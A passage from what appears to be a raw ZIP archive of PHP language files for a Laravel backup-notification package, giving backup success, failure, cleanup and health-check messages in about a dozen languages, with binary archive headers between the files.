:application_name', 'backup_failed_body' => 'Important: An error occurred while backing up :application_name', 'backup_successful_subject' => 'Successful new backup of :application_name', 'backup_successful_subject_title' => 'Successful new backup!', 'backup_successful_body' => 'Great news, a new backup of :application_name was successfully created on the disk named :disk_name.', 'cleanup_failed_subject' => 'Cleaning up the backups of :application_name failed.', 'cleanup_failed_body' => 'An error occurred while cleaning up the backups of :application_name', 'cleanup_successful_subject' => 'Clean up of :application_name backups successful', 'cleanup_successful_subject_title' => 'Clean up of backups successful!', 'cleanup_successful_body' => 'The clean up of the :application_name backups on the disk named :disk_name was successful.', 'healthy_backup_found_subject' => 'The backups for :application_name on disk :disk_name are healthy', 'healthy_backup_found_subject_title' => 'The backups for :application_name are healthy', 'healthy_backup_found_body' => 'The backups for :application_name are considered healthy. Good job!', 'unhealthy_backup_found_subject' => 'Important: The backups for :application_name are unhealthy', 'unhealthy_backup_found_subject_title' => 'Important: The backups for :application_name are unhealthy. :problem', 'unhealthy_backup_found_body' => 'The backups for :application_name on disk :disk_name are unhealthy.', 'unhealthy_backup_found_not_reachable' => 'The backup destination cannot be reached. :error', 'unhealthy_backup_found_empty' => 'There are no backups of this application at all.', 'unhealthy_backup_found_old' => 'The latest backup made on :date is considered too old.', 'unhealthy_backup_found_unknown' => 'Sorry, an exact reason cannot be determined.', 'unhealthy_backup_found_full' => 'The backups are using too much storage. Current usage is :disk_usage which is higher than the allowed limit of :disk_limit.', 'no_backups_info' => 'No backups were made yet', 'application_name' => 'Application name', 'backup_name' => 'Backup name', 'disk' => 'Disk', 'newest_backup_size' => 'Newest backup size', 'number_of_backups' => 'Number of backups', 'total_storage_used' => 'Total storage used', 'newest_backup_date' => 'Newest backup date', 'oldest_backup_date' => 'Oldest backup date', ]; PK G �Z�y$�� � " vendor/backup/ja/notifications.phpnu �[��� <?php return [ 'exception_message' => '例外のメッセージ: :message', 'exception_trace' => '例外の追跡: :trace', 'exception_message_title' => '例外のメッセージ', 'exception_trace_title' => '例外の追跡', 'backup_failed_subject' => ':application_name のバックアップに失敗しました。', 'backup_failed_body' => '重要: :application_name のバックアップ中にエラーが発生しました。', 'backup_successful_subject' => ':application_name のバックアップに成功しました。', 'backup_successful_subject_title' => 'バックアップに成功しました！', 'backup_successful_body' => '朗報です。ディスク :disk_name へ :application_name のバックアップが成功しました。', 'cleanup_failed_subject' => ':application_name のバックアップ削除に失敗しました。', 'cleanup_failed_body' => ':application_name のバックアップ削除中にエラーが発生しました。', 'cleanup_successful_subject' => ':application_name のバックアップ削除に成功しました。', 'cleanup_successful_subject_title' => 'バックアップ削除に成功しました！', 'cleanup_successful_body' => 'ディスク :disk_name に保存された :application_name のバックアップ削除に成功しました。', 'healthy_backup_found_subject' => 'ディスク :disk_name への :application_name のバックアップは正常です。', 'healthy_backup_found_subject_title' => ':application_name のバックアップは正常です。', 'healthy_backup_found_body' => ':application_name へのバックアップは正常です。いい仕事してますね！', 'unhealthy_backup_found_subject' => '重要: :application_name のバックアップに異常があります。', 'unhealthy_backup_found_subject_title' => '重要: :application_name のバックアップに異常があります。 :problem', 'unhealthy_backup_found_body' => ':disk_name への :application_name のバックアップに異常があります。', 'unhealthy_backup_found_not_reachable' => 'バックアップ先にアクセスできませんでした。 :error', 'unhealthy_backup_found_empty' => 'このアプリケーションのバックアップは見つかりませんでした。', 'unhealthy_backup_found_old' => ':date に保存された直近のバックアップが古すぎます。', 'unhealthy_backup_found_unknown' => '申し訳ございません。予期せぬエラーです。', 'unhealthy_backup_found_full' => 'バックアップがディスク容量を圧迫しています。現在の使用量 :disk_usage は、許可された限界値 :disk_limit を超えています。', 'no_backups_info' => 'バックアップはまだ作成されていません', 'application_name' => 'アプリケーション名', 'backup_name' => 'バックアップ名', 'disk' => 'ディスク', 'newest_backup_size' => '最新のバックアップサイズ', 'number_of_backups' => 'バックアップ数', 'total_storage_used' => '使用された合計ストレージ', 'newest_backup_date' => '最新のバックアップ日時', 'oldest_backup_date' => '最も古いバックアップ日時', ]; PK G �Z��� � " vendor/backup/no/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Exception: :message', 'exception_trace' => 'Exception trace: :trace', 'exception_message_title' => 'Exception', 'exception_trace_title' => 'Exception trace', 'backup_failed_subject' => 'Backup feilet for :application_name', 'backup_failed_body' => 'Viktg: En feil oppstod under backing av :application_name', 'backup_successful_subject' => 'Gjennomført backup av :application_name', 'backup_successful_subject_title' => 'Gjennomført backup!', 'backup_successful_body' => 'Gode nyheter, en ny backup av :application_name ble opprettet på disken :disk_name.', 'cleanup_failed_subject' => 'Opprydding av backup for :application_name feilet.', 'cleanup_failed_body' => 'En feil oppstod under opprydding av backups for :application_name', 'cleanup_successful_subject' => 'Opprydding av backup for :application_name gjennomført', 'cleanup_successful_subject_title' => 'Opprydding av backup gjennomført!', 'cleanup_successful_body' => 'Oppryddingen av backup for :application_name på disken :disk_name har blitt gjennomført.', 'healthy_backup_found_subject' => 'Alle backups for :application_name på disken :disk_name er OK', 'healthy_backup_found_subject_title' => 'Alle backups for :application_name er OK', 'healthy_backup_found_body' => 'Alle backups for :application_name er ok. Godt jobba!', 'unhealthy_backup_found_subject' => 'Viktig: Backups for :application_name ikke OK', 'unhealthy_backup_found_subject_title' => 'Viktig: Backups for :application_name er ikke OK. :problem', 'unhealthy_backup_found_body' => 'Backups for :application_name på disken :disk_name er ikke OK.', 'unhealthy_backup_found_not_reachable' => 'Kunne ikke finne backup-destinasjonen. :error', 'unhealthy_backup_found_empty' => 'Denne applikasjonen mangler backups.', 'unhealthy_backup_found_old' => 'Den siste backupem fra :date er for gammel.', 'unhealthy_backup_found_unknown' => 'Beklager, kunne ikke finne nøyaktig årsak.', 'unhealthy_backup_found_full' => 'Backups bruker for mye lagringsplass. Nåværende diskbruk er :disk_usage, som er mer enn den tillatte grensen på :disk_limit.', 'no_backups_info' => 'Ingen sikkerhetskopier ble gjort ennå', 'application_name' => 'Programnavn', 'backup_name' => 'Navn på sikkerhetskopi', 'disk' => 'Disk', 'newest_backup_size' => 'Nyeste backup-størrelse', 'number_of_backups' => 'Antall sikkerhetskopier', 'total_storage_used' => 'Total lagring brukt', 'newest_backup_date' => 'Nyeste backup-størrelse', 'oldest_backup_date' => 'Eldste sikkerhetskopistørrelse', ]; PK G �Z��g� " vendor/backup/pl/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Błąd: :message', 'exception_trace' => 'Zrzut błędu: :trace', 'exception_message_title' => 'Błąd', 'exception_trace_title' => 'Zrzut błędu', 'backup_failed_subject' => 'Tworzenie kopii zapasowej aplikacji :application_name nie powiodło się', 'backup_failed_body' => 'Ważne: Wystąpił błąd podczas tworzenia kopii zapasowej aplikacji :application_name', 'backup_successful_subject' => 'Pomyślnie utworzono kopię zapasową aplikacji :application_name', 'backup_successful_subject_title' => 'Nowa kopia zapasowa!', 'backup_successful_body' => 'Wspaniała wiadomość, nowa kopia zapasowa aplikacji :application_name została pomyślnie utworzona na dysku o nazwie :disk_name.', 'cleanup_failed_subject' => 'Czyszczenie kopii zapasowych aplikacji :application_name nie powiodło się.', 'cleanup_failed_body' => 'Wystąpił błąd podczas czyszczenia kopii zapasowej aplikacji :application_name', 'cleanup_successful_subject' => 'Kopie zapasowe aplikacji :application_name zostały pomyślnie wyczyszczone', 'cleanup_successful_subject_title' => 'Kopie zapasowe zostały pomyślnie wyczyszczone!', 'cleanup_successful_body' => 'Czyszczenie kopii zapasowych aplikacji :application_name na dysku :disk_name zakończone sukcesem.', 'healthy_backup_found_subject' => 'Kopie zapasowe aplikacji :application_name na dysku :disk_name są poprawne', 'healthy_backup_found_subject_title' => 'Kopie zapasowe aplikacji :application_name są poprawne', 'healthy_backup_found_body' => 'Kopie zapasowe aplikacji :application_name są poprawne. Dobra robota!', 'unhealthy_backup_found_subject' => 'Ważne: Kopie zapasowe aplikacji :application_name są niepoprawne', 'unhealthy_backup_found_subject_title' => 'Ważne: Kopie zapasowe aplikacji :application_name są niepoprawne. :problem', 'unhealthy_backup_found_body' => 'Kopie zapasowe aplikacji :application_name na dysku :disk_name są niepoprawne.', 'unhealthy_backup_found_not_reachable' => 'Miejsce docelowe kopii zapasowej nie jest osiągalne. :error', 'unhealthy_backup_found_empty' => 'W aplikacji nie ma żadnej kopii zapasowych tej aplikacji.', 'unhealthy_backup_found_old' => 'Ostatnia kopia zapasowa wykonania dnia :date jest zbyt stara.', 'unhealthy_backup_found_unknown' => 'Niestety, nie można ustalić dokładnego błędu.', 'unhealthy_backup_found_full' => 'Kopie zapasowe zajmują zbyt dużo miejsca. Obecne użycie dysku :disk_usage jest większe od ustalonego limitu :disk_limit.', 'no_backups_info' => 'Nie utworzono jeszcze kopii zapasowych', 'application_name' => 'Nazwa aplikacji', 'backup_name' => 'Nazwa kopii zapasowej', 'disk' => 'Dysk', 'newest_backup_size' => 'Najnowszy rozmiar kopii zapasowej', 'number_of_backups' => 'Liczba kopii zapasowych', 'total_storage_used' => 'Całkowite wykorzystane miejsce', 'newest_backup_date' => 'Najnowszy rozmiar kopii zapasowej', 'oldest_backup_date' => 'Najstarszy rozmiar kopii zapasowej', ]; PK G �Z:�J " vendor/backup/de/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Fehlermeldung: :message', 'exception_trace' => 'Fehlerverfolgung: :trace', 'exception_message_title' => 'Fehlermeldung', 'exception_trace_title' => 'Fehlerverfolgung', 'backup_failed_subject' => 'Backup von :application_name konnte nicht erstellt werden', 'backup_failed_body' => 'Wichtig: Beim Backup von :application_name ist ein Fehler aufgetreten', 'backup_successful_subject' => 'Erfolgreiches neues Backup von :application_name', 'backup_successful_subject_title' => 'Erfolgreiches neues Backup!', 'backup_successful_body' => 'Gute Nachrichten, ein neues Backup von :application_name wurde erfolgreich erstellt und in :disk_name gepeichert.', 'cleanup_failed_subject' => 'Aufräumen der Backups von :application_name schlug fehl.', 'cleanup_failed_body' => 'Beim aufräumen der Backups von :application_name ist ein Fehler aufgetreten', 'cleanup_successful_subject' => 'Aufräumen der Backups von :application_name backups erfolgreich', 'cleanup_successful_subject_title' => 'Aufräumen der Backups erfolgreich!', 'cleanup_successful_body' => 'Aufräumen der Backups von :application_name in :disk_name war erfolgreich.', 'healthy_backup_found_subject' => 'Die Backups von :application_name in :disk_name sind gesund', 'healthy_backup_found_subject_title' => 'Die Backups von :application_name sind Gesund', 'healthy_backup_found_body' => 'Die Backups von :application_name wurden als gesund eingestuft. Gute Arbeit!', 'unhealthy_backup_found_subject' => 'Wichtig: Die Backups für :application_name sind nicht gesund', 'unhealthy_backup_found_subject_title' => 'Wichtig: Die Backups für :application_name sind ungesund. :problem', 'unhealthy_backup_found_body' => 'Die Backups für :application_name in :disk_name sind ungesund.', 'unhealthy_backup_found_not_reachable' => 'Das Backup Ziel konnte nicht erreicht werden. :error', 'unhealthy_backup_found_empty' => 'Es gibt für die Anwendung noch gar keine Backups.', 'unhealthy_backup_found_old' => 'Das letzte Backup am :date ist zu lange her.', 'unhealthy_backup_found_unknown' => 'Sorry, ein genauer Grund konnte nicht gefunden werden.', 'unhealthy_backup_found_full' => 'Die Backups verbrauchen zu viel Platz. Aktuell wird :disk_usage belegt, dass ist höher als das erlaubte Limit von :disk_limit.', 'no_backups_info' => 'Bisher keine Backups vorhanden', 'application_name' => 'Applikationsname', 'backup_name' => 'Backup Name', 'disk' => 'Speicherort', 'newest_backup_size' => 'Neuste Backup-Größe', 'number_of_backups' => 'Anzahl Backups', 'total_storage_used' => 'Gesamter genutzter Speicherplatz', 'newest_backup_date' => 'Neustes Backup', 'oldest_backup_date' => 'Ältestes Backup', ]; PK G �ZL�@�� � " vendor/backup/ru/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Сообщение об ошибке: :message', 'exception_trace' => 'Сведения об ошибке: :trace', 'exception_message_title' => 'Сообщение об ошибке', 'exception_trace_title' => 'Сведения об ошибке', 'backup_failed_subject' => 'Не удалось сделать резервную копию :application_name', 'backup_failed_body' => 'Внимание: Произошла ошибка во время резервного копирования :application_name', 'backup_successful_subject' => 'Успешно создана новая резервная копия :application_name', 'backup_successful_subject_title' => 'Успешно создана новая резервная копия!', 'backup_successful_body' => 'Отличная новость, новая резервная копия :application_name успешно создана и сохранена на диск :disk_name.', 'cleanup_failed_subject' => 'Не удалось очистить резервные копии :application_name', 'cleanup_failed_body' => 'Произошла ошибка при очистке резервных копий :application_name', 'cleanup_successful_subject' => 'Очистка от резервных копий :application_name прошла успешно', 'cleanup_successful_subject_title' => 'Очистка резервных копий прошла успешно!', 'cleanup_successful_body' => 'Очистка от старых резервных копий :application_name на диске :disk_name прошла успешно.', 'healthy_backup_found_subject' => 'Резервные копии :application_name с диска :disk_name исправны', 'healthy_backup_found_subject_title' => 'Резервные копии :application_name исправны', 'healthy_backup_found_body' => 'Резервные копии :application_name считаются исправными. Хорошая работа!', 'unhealthy_backup_found_subject' => 'Внимание: резервные копии :application_name неисправны', 'unhealthy_backup_found_subject_title' => 'Внимание: резервные копии для :application_name неисправны. :problem', 'unhealthy_backup_found_body' => 'Резервные копии для :application_name на диске :disk_name неисправны.', 'unhealthy_backup_found_not_reachable' => 'Не удается достичь места назначения резервной копии. :error', 'unhealthy_backup_found_empty' => 'Резервные копии для этого приложения отсутствуют.', 'unhealthy_backup_found_old' => 'Последнее резервное копирование созданное :date является устаревшим.', 'unhealthy_backup_found_unknown' => 'Извините, точная причина не может быть определена.', 'unhealthy_backup_found_full' => 'Резервные копии используют слишком много памяти. Используется :disk_usage что выше допустимого предела: :disk_limit.', 'no_backups_info' => 'Резервных копий еще не было', 'application_name' => 'Имя приложения', 'backup_name' => 'Имя резервной копии', 'disk' => 'Диск', 'newest_backup_size' => 'Размер последней резервной копии', 'number_of_backups' => 'Количество резервных копий', 'total_storage_used' => 'Общий объем используемого хранилища', 'newest_backup_date' => 'Дата последней резервной копии', 'oldest_backup_date' => 'Дата самой старой резервной копии', ]; PK G �Z��㸼 � % vendor/backup/zh-TW/notifications.phpnu �[��� <?php return [ 'exception_message' => '異常訊息: :message', 'exception_trace' => '異常追蹤: :trace', 'exception_message_title' => '異常訊息', 'exception_trace_title' => '異常追蹤', 'backup_failed_subject' => ':application_name 備份失敗', 'backup_failed_body' => '重要說明：備份 :application_name 時發生錯誤', 'backup_successful_subject' => ':application_name 備份成功', 'backup_successful_subject_title' => '備份成功！', 'backup_successful_body' => '好消息, :application_name 備份成功，位於磁碟 :disk_name 中。', 'cleanup_failed_subject' => '清除 :application_name 的備份失敗。', 'cleanup_failed_body' => '清除備份 :application_name 時發生錯誤', 'cleanup_successful_subject' => '成功清除 :application_name 的備份', 'cleanup_successful_subject_title' => '成功清除備份！', 'cleanup_successful_body' => '成功清除 :disk_name 磁碟上 :application_name 的備份。', 'healthy_backup_found_subject' => ':disk_name 磁碟上 :application_name 的備份是健康的', 'healthy_backup_found_subject_title' => ':application_name 的備份是健康的', 'healthy_backup_found_body' => ':application_name 的備份是健康的。幹的好！', 'unhealthy_backup_found_subject' => '重要說明：:application_name 的備份不健康', 'unhealthy_backup_found_subject_title' => '重要說明：:application_name 備份不健康。 :problem', 'unhealthy_backup_found_body' => ':disk_name 磁碟上 :application_name 的備份不健康。', 'unhealthy_backup_found_not_reachable' => '無法訪問備份目標。 :error', 'unhealthy_backup_found_empty' => '根本沒有此應用程序的備份。', 'unhealthy_backup_found_old' => '最近的備份創建於 :date ，太舊了。', 'unhealthy_backup_found_unknown' => '對不起，確切原因無法確定。', 'unhealthy_backup_found_full' => '備份佔用了太多存儲空間。當前佔用了 :disk_usage ，高於允許的限制 :disk_limit。', 'no_backups_info' => '尚未進行任何備份', 'application_name' => '應用名稱', 'backup_name' => '備份名稱', 'disk' => '磁碟', 'newest_backup_size' => '最新備份大小', 'number_of_backups' => '備份數量', 'total_storage_used' => '使用的總存儲量', 'newest_backup_date' => '最新備份大小', 'oldest_backup_date' => '最早的備份大小', ]; PK G �ZLQ1L� � % vendor/backup/zh-CN/notifications.phpnu �[��� <?php return [ 'exception_message' => '异常信息: :message', 'exception_trace' => '异常跟踪: :trace', 'exception_message_title' => '异常信息', 'exception_trace_title' => '异常跟踪', 'backup_failed_subject' => ':application_name 备份失败', 'backup_failed_body' => '重要说明：备份 :application_name 时发生错误', 'backup_successful_subject' => ':application_name 备份成功', 'backup_successful_subject_title' => '备份成功！', 'backup_successful_body' => '好消息, :application_name 备份成功，位于磁盘 :disk_name 中。', 'cleanup_failed_subject' => '清除 :application_name 的备份失败。', 'cleanup_failed_body' => '清除备份 :application_name 时发生错误', 'cleanup_successful_subject' => '成功清除 :application_name 的备份', 'cleanup_successful_subject_title' => '成功清除备份！', 'cleanup_successful_body' => '成功清除 :disk_name 磁盘上 :application_name 的备份。', 'healthy_backup_found_subject' => ':disk_name 磁盘上 :application_name 的备份是健康的', 'healthy_backup_found_subject_title' => ':application_name 的备份是健康的', 'healthy_backup_found_body' => ':application_name 的备份是健康的。干的好！', 'unhealthy_backup_found_subject' => '重要说明：:application_name 的备份不健康', 'unhealthy_backup_found_subject_title' => '重要说明：:application_name 备份不健康。 :problem', 'unhealthy_backup_found_body' => ':disk_name 磁盘上 :application_name 的备份不健康。', 'unhealthy_backup_found_not_reachable' => '无法访问备份目标。 :error', 'unhealthy_backup_found_empty' => '根本没有此应用程序的备份。', 'unhealthy_backup_found_old' => '最近的备份创建于 :date ，太旧了。', 'unhealthy_backup_found_unknown' => '对不起，确切原因无法确定。', 'unhealthy_backup_found_full' => '备份占用了太多存储空间。当前占用了 :disk_usage ，高于允许的限制 :disk_limit。', 'no_backups_info' => '尚未进行任何备份', 'application_name' => '应用名称', 'backup_name' => '备份名称', 'disk' => '磁盘', 'newest_backup_size' => '最新备份大小', 'number_of_backups' => '备份数量', 'total_storage_used' => '使用的总存储量', 'newest_backup_date' => '最新备份大小', 'oldest_backup_date' => '最旧的备份大小', ]; PK G �ZH�/ " vendor/backup/ar/notifications.phpnu �[��� <?php return [ 'exception_message' => 'رسالة استثناء: :message', 'exception_trace' => 'تتبع الإستثناء: :trace', 'exception_message_title' => 'رسالة استثناء', 'exception_trace_title' => 'تتبع الإستثناء', 'backup_failed_subject' => 'أخفق النسخ الاحتياطي لل :application_name', 'backup_failed_body' => 'مهم: حدث خطأ أثناء النسخ الاحتياطي :application_name', 'backup_successful_subject' => 'نسخ احتياطي جديد ناجح ل :application_name', 'backup_successful_subject_title' => 'نجاح النسخ الاحتياطي الجديد!', 'backup_successful_body' => 'أخبار عظيمة، نسخة احتياطية جديدة ل :application_name تم إنشاؤها بنجاح على القرص المسمى :disk_name.', 'cleanup_failed_subject' => 'فشل تنظيف النسخ الاحتياطي للتطبيق :application_name .', 'cleanup_failed_body' => 'حدث خطأ أثناء تنظيف النسخ الاحتياطية ل :application_name', 'cleanup_successful_subject' => 'تنظيف النسخ الاحتياطية ل :application_name تمت بنجاح', 'cleanup_successful_subject_title' => 'تنظيف النسخ الاحتياطية تم بنجاح!', 'cleanup_successful_body' => 'تنظيف النسخ الاحتياطية ل :application_name على القرص المسمى :disk_name تم بنجاح.', 'healthy_backup_found_subject' => 'النسخ الاحتياطية ل :application_name على القرص :disk_name صحية', 'healthy_backup_found_subject_title' => 'النسخ الاحتياطية ل :application_name صحية', 'healthy_backup_found_body' => 'تعتبر النسخ الاحتياطية ل :application_name صحية. عمل جيد!', 'unhealthy_backup_found_subject' => 'مهم: النسخ الاحتياطية ل :application_name غير صحية', 'unhealthy_backup_found_subject_title' => 'مهم: النسخ الاحتياطية ل :application_name غير صحية. :problem', 'unhealthy_backup_found_body' => 'النسخ الاحتياطية ل :application_name على القرص :disk_name غير صحية.', 'unhealthy_backup_found_not_reachable' => 'لا يمكن الوصول إلى وجهة النسخ الاحتياطي. :error', 'unhealthy_backup_found_empty' => 'لا توجد نسخ احتياطية لهذا التطبيق على الإطلاق.', 'unhealthy_backup_found_old' => 'تم إنشاء أحدث النسخ الاحتياطية في :date وتعتبر قديمة جدا.', 'unhealthy_backup_found_unknown' => 'عذرا، لا يمكن تحديد سبب دقيق.', 'unhealthy_backup_found_full' => 'النسخ الاحتياطية تستخدم الكثير من التخزين. الاستخدام الحالي هو :disk_usage وهو أعلى من الحد المسموح به من :disk_limit.', 'no_backups_info' => 'لم يتم عمل نسخ احتياطية حتى الآن', 'application_name' => 'اسم التطبيق', 'backup_name' => 'اسم النسخ الاحتياطي', 'disk' => 'القرص', 'newest_backup_size' => 'أحدث حجم للنسخ الاحتياطي', 'number_of_backups' => 'عدد النسخ الاحتياطية', 'total_storage_used' => 'إجمالي مساحة التخزين المستخدمة', 'newest_backup_date' => 'أحدث تاريخ النسخ الاحتياطي', 'oldest_backup_date' => 'أقدم تاريخ نسخ احتياطي', ]; PK G �Z ��� � % vendor/backup/pt-BR/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Exception message: :message', 'exception_trace' => 'Exception trace: :trace', 'exception_message_title' => 'Exception message', 'exception_trace_title' => 'Exception trace', 'backup_failed_subject' => 'Falha no backup da aplicação :application_name', 'backup_failed_body' => 'Importante: Ocorreu um erro ao fazer o backup da aplicação :application_name', 'backup_successful_subject' => 'Backup realizado com sucesso: :application_name', 'backup_successful_subject_title' => 'Backup Realizado com sucesso!', 'backup_successful_body' => 'Boas notícias, um novo backup da aplicação :application_name foi criado no disco :disk_name.', 'cleanup_failed_subject' => 'Falha na limpeza dos backups da aplicação :application_name.', 'cleanup_failed_body' => 'Um erro ocorreu ao fazer a limpeza dos backups da aplicação :application_name', 'cleanup_successful_subject' => 'Limpeza dos backups da aplicação :application_name concluída!', 'cleanup_successful_subject_title' => 'Limpeza dos backups concluída!', 'cleanup_successful_body' => 'A limpeza dos backups da aplicação :application_name no disco :disk_name foi concluída.', 'healthy_backup_found_subject' => 'Os backups da aplicação :application_name no disco :disk_name estão em dia', 'healthy_backup_found_subject_title' => 'Os backups da aplicação :application_name estão em dia', 'healthy_backup_found_body' => 'Os backups da aplicação :application_name estão em dia. Bom trabalho!', 'unhealthy_backup_found_subject' => 'Importante: Os backups da aplicação :application_name não estão em dia', 'unhealthy_backup_found_subject_title' => 'Importante: Os backups da aplicação :application_name não estão em dia. :problem', 'unhealthy_backup_found_body' => 'Os backups da aplicação :application_name no disco :disk_name não estão em dia.', 'unhealthy_backup_found_not_reachable' => 'O destino dos backups não pode ser alcançado. :error', 'unhealthy_backup_found_empty' => 'Não existem backups para essa aplicação.', 'unhealthy_backup_found_old' => 'O último backup realizado em :date é considerado muito antigo.', 'unhealthy_backup_found_unknown' => 'Desculpe, a exata razão não pode ser encontrada.', 'unhealthy_backup_found_full' => 'Os backups estão usando muito espaço de armazenamento. A utilização atual é de :disk_usage, o que é maior que o limite permitido de :disk_limit.', 'no_backups_info' => 'Nenhum backup foi feito ainda', 'application_name' => 'Nome da Aplicação', 'backup_name' => 'Nome de backup', 'disk' => 'Disco', 'newest_backup_size' => 'Tamanho do backup mais recente', 'number_of_backups' => 'Número de backups', 'total_storage_used' => 'Armazenamento total usado', 'newest_backup_date' => 'Data do backup mais recente', 'oldest_backup_date' => 'Data do backup mais antigo', ]; PK G �Z��v6� � " vendor/backup/uk/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Повідомлення про помилку: :message', 'exception_trace' => 'Деталі помилки: :trace', 'exception_message_title' => 'Повідомлення помилки', 'exception_trace_title' => 'Деталі помилки', 'backup_failed_subject' => 'Не вдалось зробити резервну копію :application_name', 'backup_failed_body' => 'Увага: Трапилась помилка під час резервного копіювання :application_name', 'backup_successful_subject' => 'Успішне резервне копіювання :application_name', 'backup_successful_subject_title' => 'Успішно створена резервна копія!', 'backup_successful_body' => 'Чудова новина, нова резервна копія :application_name успішно створена і збережена на диск :disk_name.', 'cleanup_failed_subject' => 'Не вдалось очистити резервні копії :application_name', 'cleanup_failed_body' => 'Сталася помилка під час очищення резервних копій :application_name', 'cleanup_successful_subject' => 'Успішне очищення від резервних копій :application_name', 'cleanup_successful_subject_title' => 'Очищення резервних копій пройшло вдало!', 'cleanup_successful_body' => 'Очищенно від старих резервних копій :application_name на диску :disk_name пойшло успішно.', 'healthy_backup_found_subject' => 'Резервна копія :application_name з диску :disk_name установлена', 'healthy_backup_found_subject_title' => 'Резервна копія :application_name установлена', 'healthy_backup_found_body' => 'Резервна копія :application_name успішно установлена. Хороша робота!', 'unhealthy_backup_found_subject' => 'Увага: резервна копія :application_name не установилась', 'unhealthy_backup_found_subject_title' => 'Увага: резервна копія для :application_name не установилась. :problem', 'unhealthy_backup_found_body' => 'Резервна копія для :application_name на диску :disk_name не установилась.', 'unhealthy_backup_found_not_reachable' => 'Резервна копія не змогла установитись. :error', 'unhealthy_backup_found_empty' => 'Резервні копії для цього додатку відсутні.', 'unhealthy_backup_found_old' => 'Останнє резервне копіювання створено :date є застарілим.', 'unhealthy_backup_found_unknown' => 'Вибачте, але ми не змогли визначити точну причину.', 'unhealthy_backup_found_full' => 'Резервні копії використовують занадто багато пам`яті. Використовується :disk_usage що вище за допустиму межу :disk_limit.', 'no_backups_info' => 'Резервних копій ще не було зроблено', 'application_name' => 'Назва програми', 'backup_name' => 'Резервне ім’я', 'disk' => 'Диск', 'newest_backup_size' => 'Найновіший розмір резервної копії', 'number_of_backups' => 'Кількість резервних копій', 'total_storage_used' => 'Загальний обсяг використаного сховища', 'newest_backup_date' => 'Найновіший розмір резервної копії', 'oldest_backup_date' => 'Найстаріший розмір резервної копії', ]; PK G �Z��Z� � " vendor/backup/hi/notifications.phpnu �[��� <?php return [ 'exception_message' => 'अपवाद संदेश: :message', 'exception_trace' => 'अपवाद निशान: :trace', 'exception_message_title' => 'अपवादी संदेश', 'exception_trace_title' => 'अपवाद निशान', 'backup_failed_subject' => ':application_name का बैकअप असफल रहा', 'backup_failed_body' => 'जरूरी सुचना: :application_name का बैकअप लेते समय असफल रहे', 'backup_successful_subject' => ':application_name का बैकअप सफल रहा', 'backup_successful_subject_title' => 'बैकअप सफल रहा!', 'backup_successful_body' => 'खुशखबर, :application_name का बैकअप :disk_name पर संग्रहित करने मे सफल रहे.', 'cleanup_failed_subject' => ':application_name के बैकअप की सफाई असफल रही.', 'cleanup_failed_body' => ':application_name के बैकअप की सफाई करते समय कुछ बाधा आयी है.', 'cleanup_successful_subject' => ':application_name के बैकअप की सफाई सफल रही', 'cleanup_successful_subject_title' => 'बैकअप की सफाई सफल रही!', 'cleanup_successful_body' => ':application_name का बैकअप जो :disk_name नाम की डिस्क पर संग्रहित है, उसकी सफाई सफल रही.', 'healthy_backup_found_subject' => ':disk_name नाम की डिस्क पर संग्रहित :application_name के बैकअप स्वस्थ है', 'healthy_backup_found_subject_title' => ':application_name के सभी बैकअप स्वस्थ है', 'healthy_backup_found_body' => 'बहुत बढ़िया! :application_name के सभी बैकअप स्वस्थ है.', 'unhealthy_backup_found_subject' => 'जरूरी सुचना : :application_name के बैकअप अस्वस्थ है', 'unhealthy_backup_found_subject_title' => 'जरूरी सुचना : :application_name के बैकअप :problem के बजेसे अस्वस्थ है', 'unhealthy_backup_found_body' => ':disk_name नाम की डिस्क पर संग्रहित :application_name के बैकअप अस्वस्थ है', 'unhealthy_backup_found_not_reachable' => ':error के बजेसे बैकअप की मंजिल तक पोहोच नहीं सकते.', 'unhealthy_backup_found_empty' => 'इस एप्लीकेशन का कोई भी बैकअप नहीं है.', 'unhealthy_backup_found_old' => 'हालहीमें :date को लिया हुआ बैकअप बहुत पुराना है.', 'unhealthy_backup_found_unknown' => 'माफ़ कीजिये, सही कारण निर्धारित नहीं कर सकते.', 'unhealthy_backup_found_full' => 'सभी बैकअप बहुत ज्यादा जगह का उपयोग कर रहे है. फ़िलहाल सभी बैकअप :disk_usage जगह का उपयोग कर रहे है, जो की :disk_limit अनुमति सीमा से अधिक का है.', 'no_backups_info' => 'अभी तक कोई बैकअप नहीं बनाया गया था', 'application_name' => 'आवेदन का नाम', 'backup_name' => 'बैकअप नाम', 'disk' => 'डिस्क', 'newest_backup_size' => 'नवीनतम बैकअप आकार', 'number_of_backups' => 'बैकअप की संख्या', 'total_storage_used' => 'उपयोग किया गया कुल संग्रहण', 'newest_backup_date' => 'नवीनतम बैकअप आकार', 'oldest_backup_date' => 'सबसे पुराना बैकअप आकार', ]; PK G �Z&�8�! ! " vendor/backup/fr/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Message de l\'exception : :message', 'exception_trace' => 'Trace de l\'exception : :trace', 'exception_message_title' => 'Message de l\'exception', 'exception_trace_title' => 'Trace de l\'exception', 'backup_failed_subject' => 'Échec de la sauvegarde de :application_name', 'backup_failed_body' => 'Important : Une erreur est survenue lors de la sauvegarde de :application_name', 'backup_successful_subject' => 'Succès de la sauvegarde de :application_name', 'backup_successful_subject_title' => 'Sauvegarde créée avec succès !', 'backup_successful_body' => 'Bonne nouvelle, une nouvelle sauvegarde de :application_name a été créée avec succès sur le disque nommé :disk_name.', 'cleanup_failed_subject' => 'Le nettoyage des sauvegardes de :application_name a echoué.', 'cleanup_failed_body' => 'Une erreur est survenue lors du nettoyage des sauvegardes de :application_name', 'cleanup_successful_subject' => 'Succès du nettoyage des sauvegardes de :application_name', 'cleanup_successful_subject_title' => 'Sauvegardes nettoyées avec succès !', 'cleanup_successful_body' => 'Le nettoyage des sauvegardes de :application_name sur le disque nommé :disk_name a été effectué avec succès.', 'healthy_backup_found_subject' => 'Les sauvegardes pour :application_name sur le disque :disk_name sont saines', 'healthy_backup_found_subject_title' => 'Les sauvegardes pour :application_name sont saines', 'healthy_backup_found_body' => 'Les sauvegardes pour :application_name sont considérées saines. Bon travail !', 'unhealthy_backup_found_subject' => 'Important : Les sauvegardes pour :application_name sont corrompues', 'unhealthy_backup_found_subject_title' => 'Important : Les sauvegardes pour :application_name sont corrompues. :problem', 'unhealthy_backup_found_body' => 